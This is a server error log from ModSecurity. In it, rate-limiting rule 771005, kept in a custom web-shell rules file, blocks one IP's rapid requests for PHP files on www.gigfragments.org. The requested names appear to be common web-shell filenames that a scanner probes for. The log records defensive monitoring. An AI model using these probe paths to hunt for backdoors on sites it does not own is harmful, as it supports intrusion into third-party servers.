[Fri Apr 24 18:03:51.907181 2026] [:error] [pid 17719:tid 17727] [client 20.203.169.80:32759] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aetAB8TZ9gzEyL1BkPqH7QAAAIA"]
[Fri Apr 24 18:03:52.566571 2026] [:error] [pid 17808:tid 17831] [client 20.203.169.80:32707] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aetACOarbOEFI8qshvL8hgAAAFU"]
[Fri Apr 24 18:03:53.172392 2026] [:error] [pid 14531:tid 14557] [client 20.203.169.80:29989] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aetACXfLU2gw-6KR-GaaxAAAAVg"]
[Fri Apr 24 18:03:53.985115 2026] [:error] [pid 17719:tid 17747] [client 20.203.169.80:39329] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/7logs.php"] [unique_id "aetACcTZ9gzEyL1BkPqH9AAAAJQ"]
[Fri Apr 24 18:03:54.664121 2026] [:error] [pid 14531:tid 14552] [client 20.203.169.80:47749] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/7logs.php"] [unique_id "aetACnfLU2gw-6KR-GaayAAAAVM"]
[Fri Apr 24 18:03:55.228090 2026] [:error] [pid 14531:tid 14553] [client 20.203.169.80:32766] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/7logs.php"] [unique_id "aetAC3fLU2gw-6KR-GaaywAAAVQ"]
[Fri Apr 24 18:03:55.861880 2026] [:error] [pid 17719:tid 17730] [client 20.203.169.80:29974] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/7logs.php"] [unique_id "aetAC8TZ9gzEyL1BkPqH-gAAAIM"]
[Fri Apr 24 18:03:56.583675 2026] [:error] [pid 4177:tid 4204] [client 20.203.169.80:45448] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aetADH2asKnvdrSe0x6prwAAAZM"]
[Fri Apr 24 18:03:57.310468 2026] [:error] [pid 17720:tid 17763] [client 20.203.169.80:28755] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aetADehlUs6BS3Ng7_Vc5gAAAMk"]
[Fri Apr 24 18:03:58.007682 2026] [:error] [pid 4177:tid 4195] [client 20.203.169.80:30008] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aetADn2asKnvdrSe0x6ptgAAAYo"]
[Fri Apr 24 18:03:58.590274 2026] [:error] [pid 4177:tid 4197] [client 20.203.169.80:32746] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aetADn2asKnvdrSe0x6puQAAAYw"]
[Fri Apr 24 18:03:59.068563 2026] [:error] [pid 14531:tid 14555] [client 20.203.169.80:32762] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/as.php"] [unique_id "aetAD3fLU2gw-6KR-Gaa0AAAAVY"]
[Fri Apr 24 18:03:59.617917 2026] [:error] [pid 17808:tid 17812] [client 20.203.169.80:28793] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/as.php"] [unique_id "aetAD-arbOEFI8qshvL8jwAAAEI"]
[Fri Apr 24 18:04:00.356065 2026] [:error] [pid 17721:tid 17788] [client 20.203.169.80:34105] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/as.php"] [unique_id "aetAEOFXXkLeyDnfk_8VDQAAAAc"]
[Fri Apr 24 18:04:00.956781 2026] [:error] [pid 17808:tid 17833] [client 20.203.169.80:29996] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/as.php"] [unique_id "aetAEOarbOEFI8qshvL8kQAAAFc"]
[Fri Apr 24 18:04:01.551832 2026] [:error] [pid 17719:tid 17734] [client 20.203.169.80:27473] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ctex1.php"] [unique_id "aetAEcTZ9gzEyL1BkPqH_QAAAIc"]
[Fri Apr 24 18:04:02.287145 2026] [:error] [pid 4177:tid 4192] [client 20.203.169.80:39352] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ctex1.php"] [unique_id "aetAEn2asKnvdrSe0x6pwQAAAYc"]
[Fri Apr 24 18:04:02.993777 2026] [:error] [pid 4177:tid 4186] [client 20.203.169.80:33850] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ctex1.php"] [unique_id "aetAEn2asKnvdrSe0x6pyAAAAYE"]
[Fri Apr 24 18:04:03.508060 2026] [:error] [pid 17720:tid 17768] [client 20.203.169.80:28760] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ctex1.php"] [unique_id "aetAE-hlUs6BS3Ng7_Vc9QAAAM4"]
[Fri Apr 24 18:04:04.190777 2026] [:error] [pid 4177:tid 4185] [client 20.203.169.80:28738] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lb.php"] [unique_id "aetAFH2asKnvdrSe0x6pzgAAAYA"]
[Fri Apr 24 18:04:04.821959 2026] [:error] [pid 14531:tid 14543] [client 20.203.169.80:28769] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lb.php"] [unique_id "aetAFHfLU2gw-6KR-Gaa0gAAAUo"]
[Fri Apr 24 18:04:05.379115 2026] [:error] [pid 4177:tid 4186] [client 20.203.169.80:28427] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lb.php"] [unique_id "aetAFX2asKnvdrSe0x6p0wAAAYE"]
[Fri Apr 24 18:04:06.058140 2026] [:error] [pid 17720:tid 17774] [client 20.203.169.80:39344] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lb.php"] [unique_id "aetAFuhlUs6BS3Ng7_Vc-gAAANQ"]
[Fri Apr 24 18:04:06.623826 2026] [:error] [pid 14531:tid 14541] [client 20.203.169.80:34087] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cilus.php"] [unique_id "aetAFnfLU2gw-6KR-Gaa1AAAAUg"]
[Fri Apr 24 18:04:07.144017 2026] [:error] [pid 14531:tid 14549] [client 20.203.169.80:32735] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cilus.php"] [unique_id "aetAF3fLU2gw-6KR-Gaa1QAAAVA"]
[Fri Apr 24 18:04:07.791578 2026] [:error] [pid 17719:tid 17731] [client 20.203.169.80:30013] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cilus.php"] [unique_id "aetAF8TZ9gzEyL1BkPqIAQAAAIQ"]
[Fri Apr 24 18:04:08.437688 2026] [:error] [pid 4177:tid 4208] [client 20.203.169.80:40634] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cilus.php"] [unique_id "aetAGH2asKnvdrSe0x6p2AAAAZc"]
[Fri Apr 24 18:04:09.002314 2026] [:error] [pid 4177:tid 4203] [client 20.203.169.80:5506] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mh.php"] [unique_id "aetAGX2asKnvdrSe0x6p2QAAAZI"]
[Fri Apr 24 18:04:09.677317 2026] [:error] [pid 4177:tid 4209] [client 20.203.169.80:29206] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mh.php"] [unique_id "aetAGX2asKnvdrSe0x6p3QAAAZg"]
[Fri Apr 24 18:04:10.310852 2026] [:error] [pid 17719:tid 17733] [client 20.203.169.80:28461] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mh.php"] [unique_id "aetAGsTZ9gzEyL1BkPqIBAAAAIY"]
[Fri Apr 24 18:04:10.984818 2026] [:error] [pid 22114:tid 22121] [client 20.203.169.80:45478] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mh.php"] [unique_id "aetAGoAuWGz3WlMQjofSHQAAAQQ"]
[Fri Apr 24 18:04:11.544081 2026] [:error] [pid 17719:tid 17750] [client 20.203.169.80:47794] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fone1.php"] [unique_id "aetAG8TZ9gzEyL1BkPqICQAAAJc"]
[Fri Apr 24 18:04:12.092125 2026] [:error] [pid 17808:tid 17829] [client 20.203.169.80:29211] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fone1.php"] [unique_id "aetAHOarbOEFI8qshvL8pQAAAFM"]
[Fri Apr 24 18:04:12.595706 2026] [:error] [pid 17720:tid 17762] [client 20.203.169.80:5552] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fone1.php"] [unique_id "aetAHOhlUs6BS3Ng7_VdAQAAAMg"]
[Fri Apr 24 18:04:13.256999 2026] [:error] [pid 17808:tid 17831] [client 20.203.169.80:30010] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fone1.php"] [unique_id "aetAHearbOEFI8qshvL8qAAAAFU"]
[Fri Apr 24 18:04:13.844292 2026] [:error] [pid 17808:tid 17828] [client 20.203.169.80:29230] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/auth.php"] [unique_id "aetAHearbOEFI8qshvL8qgAAAFI"]
[Fri Apr 24 18:04:14.434226 2026] [:error] [pid 17719:tid 17734] [client 20.203.169.80:29993] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/auth.php"] [unique_id "aetAHsTZ9gzEyL1BkPqIDAAAAIc"]
[Fri Apr 24 18:04:14.959562 2026] [:error] [pid 17721:tid 17794] [client 20.203.169.80:47770] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/auth.php"] [unique_id "aetAHuFXXkLeyDnfk_8VRwAAAA0"]
[Fri Apr 24 18:04:15.514342 2026] [:error] [pid 14531:tid 14542] [client 20.203.169.80:45473] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/auth.php"] [unique_id "aetAH3fLU2gw-6KR-Gaa3AAAAUk"]
[Fri Apr 24 18:04:16.055884 2026] [:error] [pid 22114:tid 22123] [client 20.203.169.80:40591] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "aetAIIAuWGz3WlMQjofSIQAAAQY"]
[Fri Apr 24 18:04:16.757177 2026] [:error] [pid 17721:tid 17793] [client 20.203.169.80:45454] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "aetAIOFXXkLeyDnfk_8VTQAAAAw"]
[Fri Apr 24 18:04:17.636918 2026] [:error] [pid 17808:tid 17811] [client 20.203.169.80:29967] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "aetAIearbOEFI8qshvL8rQAAAEE"]
[Fri Apr 24 18:04:18.237009 2026] [:error] [pid 17720:tid 17776] [client 20.203.169.80:28422] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "aetAIuhlUs6BS3Ng7_VdCwAAANY"]
[Fri Apr 24 18:04:18.796480 2026] [:error] [pid 17720:tid 17761] [client 20.203.169.80:45462] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aetAIuhlUs6BS3Ng7_VdEAAAAMc"]
[Fri Apr 24 18:04:19.458336 2026] [:error] [pid 17719:tid 17731] [client 20.203.169.80:40585] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aetAI8TZ9gzEyL1BkPqIEQAAAIQ"]
[Fri Apr 24 18:04:20.069855 2026] [:error] [pid 14531:tid 14553] [client 20.203.169.80:47795] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aetAJHfLU2gw-6KR-Gaa4QAAAVQ"]
[Fri Apr 24 18:04:21.242507 2026] [:error] [pid 17719:tid 17750] [client 20.203.169.80:47746] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aetAJcTZ9gzEyL1BkPqIFQAAAJc"]
[Fri Apr 24 18:04:22.228686 2026] [:error] [pid 14531:tid 14547] [client 20.203.169.80:32711] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-png.php"] [unique_id "aetAJnfLU2gw-6KR-Gaa4wAAAU4"]
[Fri Apr 24 18:04:22.896934 2026] [:error] [pid 17721:tid 17793] [client 20.203.169.80:30003] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-png.php"] [unique_id "aetAJuFXXkLeyDnfk_8VVgAAAAw"]
[Fri Apr 24 18:04:23.467857 2026] [:error] [pid 14531:tid 14542] [client 20.203.169.80:29185] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-png.php"] [unique_id "aetAJ3fLU2gw-6KR-Gaa5wAAAUk"]
[Fri Apr 24 18:04:24.033167 2026] [:error] [pid 17719:tid 17745] [client 20.203.169.80:28794] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-png.php"] [unique_id "aetAKMTZ9gzEyL1BkPqIFgAAAJI"]
[Fri Apr 24 18:04:24.990399 2026] [:error] [pid 17808:tid 17822] [client 20.203.169.80:32352] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tx79.php"] [unique_id "aetAKOarbOEFI8qshvL8tQAAAEw"]
[Fri Apr 24 18:04:25.694011 2026] [:error] [pid 4177:tid 4209] [client 20.203.169.80:28440] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tx79.php"] [unique_id "aetAKX2asKnvdrSe0x6p6gAAAZg"]
[Fri Apr 24 18:04:26.378179 2026] [:error] [pid 14531:tid 14537] [client 20.203.169.80:47803] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tx79.php"] [unique_id "aetAKnfLU2gw-6KR-Gaa6AAAAUQ"]
[Fri Apr 24 18:04:26.973019 2026] [:error] [pid 17808:tid 17820] [client 20.203.169.80:47756] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tx79.php"] [unique_id "aetAKuarbOEFI8qshvL8wgAAAEo"]
[Fri Apr 24 18:04:27.546805 2026] [:error] [pid 17721:tid 17785] [client 20.203.169.80:29189] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aetAK-FXXkLeyDnfk_8VWwAAAAQ"]
